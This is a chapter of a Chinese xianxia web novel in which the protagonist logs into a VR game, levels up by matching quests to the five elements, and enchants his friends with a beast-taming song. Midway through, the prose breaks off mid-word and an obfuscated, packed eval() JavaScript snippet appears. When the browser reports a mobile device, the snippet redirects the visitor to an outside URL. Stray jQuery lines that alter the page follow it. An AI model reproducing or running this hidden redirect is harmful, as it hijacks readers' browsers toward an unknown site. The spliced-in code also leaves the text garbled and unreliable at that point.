程承家就在附近，穿过姜言醒来的小公园再过一条马路就到了。他父母做生意，在6层的洋房顶楼给他买了一套将近300平的复式，就他一个人住，确实非常宽敞。


    赖方希几人也都住这小区，既然说好要到程承家住几天，进小区自然先回家去拿头盔。


    程承带着姜言先回了家，指着一楼一间客房说：“你先住这间吧，隔壁是游戏室，有按摩椅，你先用着，看还缺什么跟我说，我先去楼上吃药。”


    “吃什么药啊？”姜言受了人家这么多照顾，有心报答，就多问了一句。


    程承苦笑了下，说：“嗨，也没什么严重的，老毛病了，不碍事。”


    他不愿说，姜言当然也不好死乞白赖的追问，不过来日方长嘛。


    姜言到客房里转了一圈，窗明几净，还自带洗漱间，挺好。再到隔壁游戏室一看，嚯，这小程家的条件也太好吧？一个游戏室而已，不但空间够大，设备也够全的，靠墙配一整排按摩椅，就连跑步机也给安排上了。中间的空地上还摆着一个四面锥型的立体投影仪，能投放游戏里的全息影像呢。


    “够专业啊。”姜言笑道。


    “指着这个吃饭呢，不专业点不行啊。”


    游戏室门口，程承手里拿着一盒汉山红走进来，到一旁的岛台上熟练地调配出一杯果茶递给姜言，说：“齐哥刚打电话来，说会带吃的过来，你先拿这个垫垫。”


    姜言笑着接过茶，喝了一口，赞道：“手艺不错。说实话，我是真没看出来你是以游戏为生的。”


    “嗨，我这身体你也看到了，外面的工作我大多做不来，只能另辟蹊径。”程承又指着按摩椅邀请姜言：“试试？”


    姜言挑了一张白色的按摩椅坐下，程承拿过自己的头盔，在旁边的黑色椅子上坐下来。两人同时戴上头盔。


    终于能正式登录游戏了，姜言心中积攒的疑问和好奇也终于在这一刻爆发——


    进来了。


    眼前光线亮起的那一刻，姜言不由自主吁出一口气。


    【山海世界】又见面啦。


    熟悉的山，熟悉的海，熟悉的阳光，熟悉的风。


    他眯着眼睛感受来自游戏中的风动，感受到熟悉的波律，索性闭上眼睛。然而，他享受了不到三秒，竟猛然睁眼，不可置信地盯住脚下这片土地。


    只因这片土地正源源不断地向上输送着一股气流，那不是什么游戏仿生的虚像，那是真真切切的灵气。


    竟然真有灵气？！


    可这是人间啊，地脉的灵气早已枯竭，按理说根本不存在给这个游戏提供灵气源的物质，所以，这些灵气是从哪儿来的呢？


    姜言左思右想，最终一个大胆的假设在他的脑海中成形——


    人间地脉中的灵气枯竭，也就是说地脉中的灵气不可复生，但是灵魂不会。灵魂自带灵核，且与灵界天然连接。而灵界自古以来就是登仙梯。所以想要复苏人间的灵气，最简单直接的办法就是通关‘登仙梯’将灵力直接从仙界向下输出——


    所以，这是通过人的灵魂把仙界的【山海世界】和人间的【山海世界】链上了？


    如果是这样的话，倒是能解释之前郁垒给小狗疗伤时，为什么能直接使用灵力了。因为，他当时的灵力是直接作用在小狗的灵体上，通过给灵体充灵，进而带动□□的生长和修复。


    也能解释，为什么姜言在活动广场第一次戴上头盔时，会感觉到有一股灵气注入了他的灵识，瞬间像给浑身经脉做了一次按摩。


    现在想来，之所以会有灵气注入玩家的灵识，皆因人间这版游戏与仙界那版同宗同源，所以，最初的那股灵气定然也来源于万灵之根。


    尚在仙界时，姜言倒是听说过仙界有复苏人间灵气的计划，只是没想到会以这种方式，花这么大的手笔。


    直接给人类的灵体注灵，激活人们的灵脉吗？


    姜言不禁暗自喟叹，如果自己这个假设成真，那么仙界这次是真要干大事了。


    ……


    眼前这片景色熟悉又陌生——姜言迫不及待拉开地图，看到自己的定位后，他忍不住笑出了声。


    竟然是北齐国？！老家啊。


    槃木所在的先民山在衡天的东北。


    衡天与共工之台、群帝因是以为台并称大荒北三台，在仙界原本是群仙集会的场所，在人间这版游戏的地图里也能看出其山势高耸绵延数万里。


    衡天是三台中，最靠东的一台。它的山势向东北绵延与先民山相连，向正东宛下形成叔歜山。


    所以，叔歜山相当于在先民山的西侧，两山夹着一条弯曲的峡谷，峡谷口直冲出去就是北齐国。北齐国再往东南，就到东海了。


    “言哥，你笑什么？”声音来自游戏外。


    “没什么。”


    姜言此刻的心情没有办法分享，因为就连他自己也没想到在仙界都几百年没回过的老家，竟然在人间的一款游戏里实现了故地重游。这份感触又怎是普通语言能表达清楚的呢？


    “你在哪儿？”程承又问。


    “在北齐国，你呢？”


    “北齐国？”程承连忙拉开游戏的地图导航，搜索地名，看到定位后，不由长叹一声：“竟然在衡天东……好远。”


    “怎么，你在衡天西吗？”姜言问。


    “是啊，我们都在衡天西，东北海滨，鲧攻程州山。升级的副本在这山里，卡了三天了。”程承边说边给姜言发了坐标，语气里的无奈，逗得姜言想笑。


    当然姜言并没有笑，他接受了程承发来的组队申请。


    程承的ID【百米冲刺不喘气】，跟他那跑不了五十米就得拄膝盖的实际情况截然相反，还真是应了那句话，当现实里实现不了的愿望，你可以尽情在游戏里找补。


    姜言还没笑程承呢，程承倒是先‘噗’了一声，戏谑道：“言哥，你ID挺可爱啊，萌萌哒？哒哒哒哒哒？”


    姜言：“呵呵，随便起得。”


    然后，他就听见来自游戏外程承的一声惊叹：“我去！怎么回事？！”


    “什么怎么回事？”姜言纳闷。


    “你等级啊！”程承的吃惊可不是装出来的，他是真被吓到了：“这才不到五分钟啊，你怎么就3级了？！你干了什么？”


    姜言这次是真的笑出了声，因为他刚才看了一下这游戏的升级面板，从1级到5级的颜色分别是白、绿、黑、红、黄，对应的五行不就是金木水火土吗？这和仙界修炼升级的基础逻辑是一样的。


    于是，姜言就试着按仙界修行升级的逻辑，根据1级的白色对应五行的金元素，接了一个同样属于金元素的任务【拾金不昧】。他把在北齐国街道上溜达时捡到的钱袋，交到了族长手里，完成任务的那一刻，经验值果然暴涨，一下就冲到了2级半。他的经验条边框也因此变成了绿色。


    而后，他继续在大街上溜达，又顺手接了一个对应2级绿色的木系任务【帮助独居的年迈老人劈柴】。这又不是多难的任务，三两下就做完了，升级经验自然又再度暴涨。


    于是，当程承发来组队邀请的时候，姜言虽然仍旧在大街上溜达，却已经是脱离零蛋的三级小新人了。


    “哥啊，你这是怎么做到的？不会又是运气吧？快说快说！”


    程承催得紧，姜言也不跟他卖关子，直接告诉他：“升级看经验条的边框，白色就接金属性的任务，绿色接木属性的任务，黑色就接水属性的任务，红是火，黄是土属性。跟任务条的边框颜色对应。选错任务经验涨得肯定少。”


    “我天，还有这一说？”


    这个知识点，对程承来说显然是超纲题，他没学过五行。不过却给了他极大的启发，就听他‘哎哟、哎哟’了好几声，之后更是一把扯掉头盔，拿起手机就往一个群里连发了好几天语音——


    【哥几个，到哪儿了？快来快来，发现了新大陆！】


    【我去，知道咱们为什么过不了吗？任务没接对，任务没接对啊！我哭！】


    【都来了没？快来！我知道怎么过任务了。】


    ……


    这就像往群里扔了个深水炸弹啊，一时间，整间游戏室里就听见群聊天的各种消息音，还有独属于青年人的嬉笑怒骂。


    他们说话这会儿功夫，姜言又接了几个任务，已经升到了5级。


    虽然人间这版的任务内容与仙界版的不同，但游戏运行的逻辑大差不差，由此来推断游戏的运行规律也就不难了。


    其中，5级升6级的破境任务，按照仙界修炼的逻辑，主要是对心法的考察。姜言猜测这些心法任务，应该不能随便选，因为很可能是跟后面的职业挂钩，所以姜言还挺谨慎的，在一堆心法任务栏里，巴拉来巴拉去，最后选了看起来最有可能爆出御灵师初级心法书的一条任务【请叫醒那只在比赛中睡着的兔子，并帮助它取得比赛的胜利】。


    兔子跟谁比赛啊？传说中的乌龟吗？


    姜言边纳闷边来到了动物运动会的比赛现场。当看清跑道上其余几只动物时，姜言再次笑出了声。因为跑道上除了兔子，另外几位分别是虎、豹、熊和罴。


    这四位不就是北齐国的国宝么？


    北齐国姜氏，代代相传，能够驯化驱使的四种动物，不正是虎、豹、熊、罴么？驯化


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077728|163405||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这四位，姜言甚至都不需要动用御灵技术，他直接唱歌就好了。


    于是，当齐创奇、赖方希、云虎拎着一堆吃的喝的推门进来时，就听见程承家的游戏室里传出了他们从来没听过的空灵之音。


    没有一句词，单单只是音调，却好似天外来音，空灵美妙，如海浪拍礁般带着灵气的水雾扑面而来，令人瞬间失神，灵魂好似海上一片叶子，随海浪起伏飘荡，心也在那一刻变得无比柔软，神魂不由自主就被空气中荡开的一圈圈音波吸引，人不知不觉就进了游戏室，然后，他们集体傻眼了——


    声音从姜言的头盔里传出，他竟然忘了关外放。


    “这……是游戏里的歌声吗？”


    齐创奇第一个反应过来，他一说话，其余人才如梦初醒。


    程承也一个机灵清醒过来，只是他依旧不可置信的望着姜言。他离得近，因此透过面罩的茶色玻璃，能清晰的看见姜言的嘴唇正在微微抖动。


    “言哥唱的吧？”


    程承也不敢肯定。毕竟他长这么大还从来没听过有人能发出这么好听的声音。


    其余几人当然也是。


    “真·神仙唱歌。”赖方希由衷竖起大拇指。


    其余人连连点头。


    为了能多听一会儿这美妙的仙音。几人不约而同屏息凝气，当然也没打扰姜言。不过，声音只持续了十秒，姜言就摘下了头盔，只因他闻到了饭菜的香味。灵力被压制到最低，他也会感觉到饿，此时被饭菜的香味一刺激，立刻就退出了游戏。


    “怎么？！”


    姜言没想到自己被围观了，摘下头盔的那一刻还懵了一瞬。


    “言哥，刚才你是在游戏里唱歌了吗？”程承迫不及待追问。


    “诶？你们听见了吗？”姜言微怔，立刻拿起头盔检查，发现外放音效竟然没关：“疏忽了。”


    “别别别！”赖方希一个健步冲上来，一手拎着‘开疯菜’另一手一把按住姜言的手腕，笑嘻嘻道：“别啊，言哥！让我们听听呗，怪好听的！”


    姜言手下没停，冷酷地关上了外放音效，却笑道：“你们想听，随时可以给你们唱。还用得着在游戏里？”


    “真的？”


    几人双眼发光，呼啦一下围上来，磨着姜言说：“那言哥现在就给哥儿几个唱一首呗？”


    “对啊，来一首，来一首！”几人起哄。


    姜言微笑着起身，指着他们手里的饭菜：“饿了。吃完再说。”


    “好好，先吃先吃。”几人火速冲了出去，在餐桌边坐好，那副火急火燎的样子，不知道的，还以为他们几百年没吃过饭呢。


    “入伙饭！不知言哥喜欢吃什么，就都买了一些。”


    姜言落座后，赖方希笑嘻嘻的说。


    “我吃素。”


    没成想这话一出，竟然冷场了。


    “怎么？没有吗？那——”


    “有有有！”云虎立刻跳起来，翻打包盒，然后从一堆打包盒里找出一盒递了过去：“给，清炒苦瓜。”


    姜言：……


    行吧，轮回考试里没吃，现实世界倒给补上了。


    于是，餐桌上就姜言慢条斯理地吃素，其余几位都是肉食主义，大口炫饭，推杯换盏，嘻嘻哈哈的样子倒也逍遥快活。


    吃饭也没耽误他们惦记听姜言唱歌，姜言倒也没推辞，因为他太清楚北齐姜氏驯兽音的魅力了，在仙界亲耳听过那种声音的仙人尚且欲罢不能，何况人间的普通人了。


    “你们想听什么歌？”姜言问。


    “就刚才那种歌！”程承好整以待，目露期盼地望着姜言：“行吗？”


    姜言点头，说：“那是鸟语音。虽属驯乐，但也是礼乐的一种。”


    “李月？啥？”云虎挠了挠头：“听不懂。”


    “是礼貌的礼，音乐的乐。”教导人时，姜言很有耐心：“洪荒时期，凡有贞祭，便会先用驯乐召集百兽，选好祭品，再奏礼乐行祭祀。”


    “言、言哥，”程承不好意思地说：“你说的这些太高端了，我们……听不太懂。”


    “没关系，接触多了就懂了。”


    “啊？”齐创奇惊讶道：“我们有什么机会接触啊？我们都是大门不出二门不迈的宅男。”


    “那就玩游戏。”姜言说：“这游戏里都有。”


    几人：……


    丂，这游戏里有吗？那我之前玩的是什么？假游戏吗？


    这一刻他们甚至严重怀疑自己和姜言玩得根本不是同一个游戏了。


    “那什么，”见众人目瞪口呆的样子，姜言咳了一声，说：“还是先唱歌吧。”